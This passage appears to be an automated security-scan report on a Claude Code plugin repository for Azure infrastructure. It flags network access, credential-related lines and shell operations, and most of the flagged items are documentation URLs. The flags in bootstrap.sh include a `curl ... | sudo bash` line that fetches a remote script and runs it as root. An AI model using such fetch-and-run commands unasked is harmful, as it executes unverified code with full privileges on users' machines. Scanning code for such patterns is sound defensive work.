    1. **Repo** — accept any of:    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 8
    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)    - Local checkout path (e.g., `~/source/azure-infra`) — skips clone
  • Network accessline 9
    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 76
    > ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md

  • Access to secretsline 47
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 14
    - **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` 
  • Network accessline 15
    - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, 
  • Network accessline 16
    - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md

  • Network accessline 7
    | VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o
  • Network accessline 8
    | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | "
  • Network accessline 9
    | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md

  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/plan-card.md

  • Access to secretsline 32
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md

  • Network accessline 17
    ## What to fetch (Step 2 — VMSS)
  • Network accessline 20
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview
  • Network accessline 21
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 24
    ## What to fetch (Step 3 — VM family)
  • Network accessline 27
    https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 30
    Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family`
  • Network accessline 31
    - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi
  • Network accessline 32
    - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series`
  • Network accessline 33
    - GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family`
  • Network accessline 35
    For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/vm-recommender.md

  • Network accessline 56
    https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 59
    For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS.
  • Network accessline 101
    - Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 102
    - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 103
    - For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md

  • Network accessline 8
    | **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG
  • Network accessline 9
    | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://
  • Network accessline 10
    | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md

  • Network accessline 32
    |-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif
  • Network accessline 33
    | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se
  • Network accessline 34
    | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su
  • Network accessline 13
    | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic
  • Network accessline 14
    | ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse
  • Network accessline 15
    | AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea
  • Network accessline 17
    | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m
  • Network accessline 18
    | App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule
  • Network accessline 19
    | Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules]
  • Network accessline 20
    | Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme
  • Network accessline 21
    | Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr
  • Network accessline 22
    | Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht
  • Network accessline 23
    | Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi
  • Network accessline 15
    | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules](
  • Network accessline 16
    | Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | 
  • Network accessline 17
    | Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam
  • Network accessline 18
    | Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules](
  • Network accessline 19
    | VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie
  • Network accessline 15
    | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules]
  • Network accessline 16
    | Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https
  • Network accessline 17
    | Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt
  • Network accessline 18
    | Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview)
  • Network accessline 19
    | Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-relational.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea
  • Network accessline 14
    | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami
  • Network accessline 15
    | SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove
  • Network accessline 16
    | MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) |
  • Network accessline 17
    | PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/messaging.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](
  • Network accessline 13
    | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https
  • Network accessline 14
    | Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h
  • Network accessline 15
    | Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/monitoring.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o
  • Network accessline 12
    | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove
  • Network accessline 13
    | Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md

  • Network accessline 14
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.
  • Network accessline 15
    |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht
  • Network accessline 16
    | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht
  • Network accessline 17
    | Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https
  • Network accessline 18
    | DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic
  • Network accessline 19
    | VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn
  • Network accessline 20
    | Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming
  • Network accessline 21
    | Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-core.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](
  • Network accessline 17
    | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) 
  • Network accessline 18
    | Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [
  • Network accessline 19
    | NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) 
  • Network accessline 20
    | Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | 
  • Network accessline 21
    | Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network-
  • Network accessline 22
    | Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr
  • Network accessline 23
    | NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt
  • Network accessline 14
    | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | 
  • Network accessline 15
    | Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview
  • Network accessline 16
    | Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https
  • Network accessline 17
    | Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r

harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/security.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l
  • Network accessline 12
    | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/
  • Network accessline 13
    | Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident

harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing/SKILL.md

  • Network accessline 40
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 43
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 112
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 113
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 114
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 115
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 195
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 196
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 197
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/claude-code/plugins/azure-cloud-development/skills/import-infrastructure-as-code/SKILL.md

  • Network accessline 72
    | Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 73
    | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon
  • Network accessline 74
    | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 75
    | Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` |
  • Network accessline 76
    | Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` |
  • Network accessline 77
    | Registry namespace | `https://registry.terraform.io/namespaces/Azure` |
  • Network accessline 78
    | Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` |
  • Network accessline 79
    | GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` |
  • Network accessline 80
    | README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` |
  • Network accessline 81
    | AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` |
  • Network accessline 224
    - [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes)
  • Network accessline 225
    - [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)

harness/claude-code/plugins/azure-data-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

